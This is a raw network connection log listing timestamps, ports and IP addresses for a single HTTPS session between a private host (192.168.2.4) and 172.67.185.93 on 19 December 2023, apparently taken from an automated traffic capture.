Dec 19, 2023 03:22:41.167206049 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.167221069 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.167264938 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.167269945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.167304039 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.168744087 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.168756962 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.168792963 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.168797970 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.168822050 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.168836117 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.169893980 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.169908047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.169939041 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.169944048 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.169987917 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.171160936 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.171175003 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.171207905 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.171212912 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.171236038 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.171256065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.172971010 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.172985077 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.173026085 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.173028946 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.173062086 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.174442053 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.174463034 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.174487114 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.174489975 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.174515009 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.174526930 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.174942017 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.174956083 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.174983978 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.174987078 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175010920 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.175026894 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.175477028 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175493002 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175534010 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.175537109 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175569057 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.175889969 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175904989 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175930023 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.175934076 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.175961971 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.175971031 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.176383972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.176399946 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.176440954 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.176445961 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.176479101 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.177140951 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.177155972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.177190065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.177194118 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.177217960 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.177234888 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.178160906 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.178183079 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.178209066 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.178212881 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.178241968 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.178255081 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.179312944 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.179327011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.179363966 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.179368973 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.179393053 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.179405928 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.180845976 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.180870056 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.180903912 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.180908918 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.180932999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.180949926 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.181917906 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.181936979 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.181972027 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.181976080 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.182003975 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.182017088 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.182742119 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.182758093 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.182791948 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.182796001 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.182820082 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.182837009 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.183796883 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.183811903 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.183850050 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.183854103 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.183876038 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.183893919 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.185379028 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.185393095 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.185432911 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.185436964 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.185465097 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.185481071 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.186319113 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.186332941 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.186363935 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.186368942 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.186393023 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.186409950 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.187200069 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.187216043 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.187258005 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.187263012 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.187294960 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.188637972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.188652039 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.188684940 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.188688040 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.188714027 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.188724041 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.189632893 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.189646959 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.189680099 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.189682961 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.189708948 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.189722061 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.190752983 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.190766096 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.190805912 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.190809011 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.190831900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.190850019 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.191309929 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.191325903 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.191359997 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.191365004 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.191390991 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.191402912 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.193100929 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.193115950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.193151951 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.193156958 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.193182945 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.193201065 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.194205046 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.194219112 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.194257021 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.194262028 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.194286108 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.194307089 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.195091963 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.195106030 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.195137024 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.195141077 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.195168018 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.195182085 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.195697069 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.195712090 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.195741892 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.195745945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.195774078 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.195785999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.197263956 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.197278023 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.197312117 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.197315931 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.197340965 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.197354078 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.198343992 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.198369026 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.198398113 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.198401928 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.198431969 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.198446035 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.199291945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.199309111 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.199338913 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.199347019 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.199368954 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.199385881 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.199924946 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.199942112 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.199970961 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.199975014 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.200001001 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.200016022 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.201482058 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.201495886 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.201550961 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.201555014 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.201584101 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.202872992 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.202887058 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.202934980 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.202939034 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.202979088 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.204042912 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.204056978 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.204102039 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.204108000 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.204143047 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.205322027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.205336094 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.205387115 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.205390930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.205441952 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.206639051 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.206654072 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.206688881 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.206692934 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.206716061 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.206728935 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.208036900 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.208051920 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.208091974 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.208096027 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.208120108 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.208132029 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.209389925 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.209404945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.209445953 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.209449053 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.209476948 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.209492922 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.210758924 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.210773945 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.210810900 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.210814953 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.210843086 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.210863113 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.212569952 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.212584019 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.212629080 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.212632895 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.212652922 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.212675095 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.214627981 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.214641094 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.214690924 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.214695930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.214730024 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.215868950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.215882063 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.215924978 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.215929031 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.215962887 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.220968008 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.220982075 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.221030951 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.221035957 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.221070051 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.227627993 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.227647066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.227703094 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.227710962 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.227749109 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.230293989 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.230313063 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.230348110 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.230353117 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.230374098 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.230389118 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.237026930 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.237041950 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.237097979 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.237103939 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.237137079 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.238342047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.238353968 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.238399029 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.238404036 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.238436937 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.239804983 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.239816904 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.239861965 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.239866972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.239897966 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.240854025 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.240868092 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.240901947 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.240905046 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.240931034 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.240948915 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.241393089 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.241410017 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.241436958 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.241440058 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.241466045 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.241482973 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.241996050 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.242011070 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.242053032 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.242058039 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.242090940 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.242546082 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.242559910 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.242590904 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.242594957 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.242618084 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.242635965 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.243112087 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.243132114 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.243155956 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.243159056 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.243184090 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.243196011 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.243644953 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.243658066 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.243689060 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.243691921 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.243715048 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.243732929 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.244147062 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.244160891 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.244190931 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.244194984 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.244223118 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.244231939 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.244580030 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.244594097 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.244626999 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.244630098 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.244652987 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.244669914 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.245042086 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.245055914 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.245095015 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.245100021 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.245129108 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.245800972 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.245814085 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.245850086 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.245856047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.245887995 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.246395111 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.246413946 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.246445894 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.246453047 CET	443	49752	172.67.185.93	192.168.2.4
Dec 19, 2023 03:22:41.246471882 CET	49752	443	192.168.2.4	172.67.185.93
Dec 19, 2023 03:22:41.246493101 CET	49752	443	192.168.2.4	172.67.185.93
